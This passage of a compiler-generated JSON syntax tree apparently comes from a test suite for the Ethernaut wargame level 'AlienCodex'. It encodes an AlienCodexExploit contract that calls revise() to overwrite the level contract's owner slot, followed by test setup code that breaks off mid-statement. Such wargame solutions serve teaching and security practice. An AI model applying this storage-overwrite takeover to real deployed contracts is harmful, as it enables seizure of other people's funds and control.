dentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":58935,"name":"uint160","nodeType":"ElementaryTypeName","src":"818:7:121","typeDescriptions":{}}},"id":58939,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"818:18:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":58934,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"810:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58933,"name":"uint256","nodeType":"ElementaryTypeName","src":"810:7:121","typeDescriptions":{}}},"id":58940,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"810:27:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":58932,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"802:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":58931,"name":"bytes32","nodeType":"ElementaryTypeName","src":"802:7:121","typeDescriptions":{}}},"id":58941,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"802:36:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":58919,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58892,"src":"746:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":58921,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"755:6:121","memberName":"revise","nodeType":"MemberAccess","referencedDeclaration":58884,"src":"746:15:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$_t_bytes32_$returns$__$","typeString":"function (uint256,bytes32) external"}},"id":58942,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"746:93:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58943,"nodeType":"ExpressionStatement","src":"746:93:121"}]},"functionSelector":"0aeb4ddf","implemented":true,"kind":"function","modifiers":[],"name":"exploit","nameLocation":"509:7:121","parameters":{"id":58888,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58887,"mutability":"mutable","name":"instanceAddress","nameLocation":"525:15:121","nodeType":"VariableDeclaration","scope":58945,"src":"517:23:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58886,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:121","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"516:25:121"},"returnParameters":{"id":58889,"nodeType":"ParameterList","parameters":[],"src":"549:0:121"},"scope":58946,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"AlienCodexExploit","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[58946],"name":"AlienCodexExploit","nameLocation":"476:17:121","scope":59119,"usedErrors":[],"usedEvents":[]},{"id":59118,"nodeType":"ContractDefinition","src":"850:1603:121","nodes":[{"id":58953,"nodeType":"VariableDeclaration","src":"895:19:121","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"905:9:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":58952,"nodeType":"UserDefinedTypeName","pathNode":{"id":58951,"name":"Ethernaut","nameLocations":["895:9:121"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"895:9:121"},"referencedDeclaration":49101,"src":"895:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":58956,"nodeType":"VariableDeclaration","src":"920:19:121","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"931:8:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"},"typeName":{"id":58955,"nodeType":"UserDefinedTypeName","pathNode":{"id":58954,"name":"AlienCodex","nameLocations":["920:10:121"],"nodeType":"IdentifierPath","referencedDeclaration":58885,"src":"920:10:121"},"referencedDeclaration":58885,"src":"920:10:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"visibility":"internal"},{"id":58958,"nodeType":"VariableDeclaration","src":"946:21:121","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"962:5:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":58957,"name":"address","nodeType":"ElementaryTypeName","src":"946:15:121","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":58960,"nodeType":"VariableDeclaration","src":"973:22:121","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"989:6:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":58959,"name":"address","nodeType":"ElementaryTypeName","src":"973:15:121","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59063,"nodeType":"FunctionDefinition","src":"1182:618:121","nodes":[],"body":{"id":59062,"nodeType":"Block","src":"1206:594:121","nodes":[],"statements":[{"assignments":[58965],"declarations":[{"constant":false,"id":58965,"mutability":"mutable","name":"users","nameLocation":"1241:5:121","nodeType":"VariableDeclaration","scope":59062,"src":"1216:30:121","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":58963,"name":"address","nodeType":"ElementaryTypeName","src":"1216:15:121","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58964,"nodeType":"ArrayTypeName","src":"1216:17:121","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":58969,"initialValue":{"arguments":[{"hexValue":"32","id":58967,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1261:1:121","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":58966,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"1249:11:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":58968,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1249:14:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"1216:47:121"},{"expression":{"id":58974,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58970,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1274:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":58971,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58965,"src":"1282:5:121","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":58973,"indexExpression":{"hexValue":"30","id":58972,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1288:1:121","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1282:8:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1274:16:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58975,"nodeType":"ExpressionStatement","src":"1274:16:121"},{"expression":{"arguments":[{"id":58979,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1309:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":58980,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1316:7:121","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":58976,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1300:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58978,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:5:121","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1300:8:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":58981,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1300:24:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58982,"nodeType":"ExpressionStatement","src":"1300:24:121"},{"expression":{"id":58987,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58983,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"1335:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":58984,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58965,"src":"1344:5:121","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":58986,"indexExpression":{"hexValue":"31","id":58985,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1350:1:121","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1344:8:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1335:17:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58988,"nodeType":"ExpressionStatement","src":"1335:17:121"},{"expression":{"arguments":[{"id":58992,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"1371:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":58993,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1379:8:121","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":58989,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1362:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58991,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1365:5:121","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1362:8:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":58994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1362:26:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58995,"nodeType":"ExpressionStatement","src":"1362:26:121"},{"expression":{"arguments":[{"id":58999,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1413:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58996,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1399:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58998,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1402:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1399:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1399:20:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59001,"nodeType":"ExpressionStatement","src":"1399:20:121"},{"expression":{"id":59006,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59002,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"1429:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":59004,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1468:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59003,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1441:26:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":59005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1441:33:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1429:45:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59007,"nodeType":"ExpressionStatement","src":"1429:45:121"},{"assignments":[59010],"declarations":[{"constant":false,"id":59010,"mutability":"mutable","name":"factory","nameLocation":"1497:7:121","nodeType":"VariableDeclaration","scope":59062,"src":"1484:20:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":59009,"nodeType":"UserDefinedTypeName","pathNode":{"id":59008,"name":"DummyFactory","nameLocations":["1484:12:121"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"1484:12:121"},"referencedDeclaration":52145,"src":"1484:12:121","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":59016,"initialValue":{"arguments":[{"arguments":[{"hexValue":"416c69656e436f646578466163746f7279","id":59013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1534:19:121","typeDescriptions":{"typeIdentifier":"t_stringliteral_d8cae27c4fc8775677c1950dee0995ac0896d810e6d095e57c0126c66a6f1f35","typeString":"literal_string \"AlienCodexFactory\""},"value":"AlienCodexFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d8cae27c4fc8775677c1950dee0995ac0896d810e6d095e57c0126c66a6f1f35","typeString":"literal_string \"AlienCodexFactory\""}],"id":59012,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1520:13:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns (address)"}},"id":59014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1520:34:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59011,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"1507:12:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":59015,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1507:48:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"1484:71:121"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":59023,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59010,"src":"1603:7:121","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":59022,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1595:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59021,"name":"address","nodeType":"ElementaryTypeName","src":"1595:7:121","typeDescriptions":{}}},"id":59024,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1595:16:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59020,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1589:5:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59025,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1589:23:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":59017,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"1565:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59019,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1575:13:121","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1565:23:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":59026,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1565:48:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59027,"nodeType":"ExpressionStatement","src":"1565:48:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59028,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1623:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59030,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1626:9:121","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1623:12:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59031,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1623:14:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59032,"nodeType":"ExpressionStatement","src":"1623:14:121"},{"expression":{"arguments":[{"id":59036,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"1662:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59033,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1648:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59035,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1651:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1648:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59037,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1648:21:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59038,"nodeType":"ExpressionStatement","src":"1648:21:121"},{"expression":{"id":59055,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59039,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"1679:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":59044,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"1729:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":59048,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59010,"src":"1754:7:121","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":59047,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1746:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59046,"name":"address","nodeType":"ElementaryTypeName","src":"1746:7:121","typeDescriptions":{}}},"id":59049,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1746:16:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59045,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1740:5:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59050,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1740:23:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":59051,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1765:1:121","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":59043,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1709:19:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":59052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1709:58:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59042,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1701:8:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":59041,"name":"address","nodeType":"ElementaryTypeName","src":"1701:8:121","stateMutability":"payable","typeDescriptions":{}}},"id":59053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1701:67:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59040,"name":"AlienCodex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58885,"src":"1690:10:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_AlienCodex_$58885_$","typeString":"type(contract AlienCodex)"}},"id":59054,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1690:79:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"src":"1679:90:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":59056,"nodeType":"ExpressionStatement","src":"1679:90:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59057,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1779:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59059,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1782:9:121","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1779:12:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () 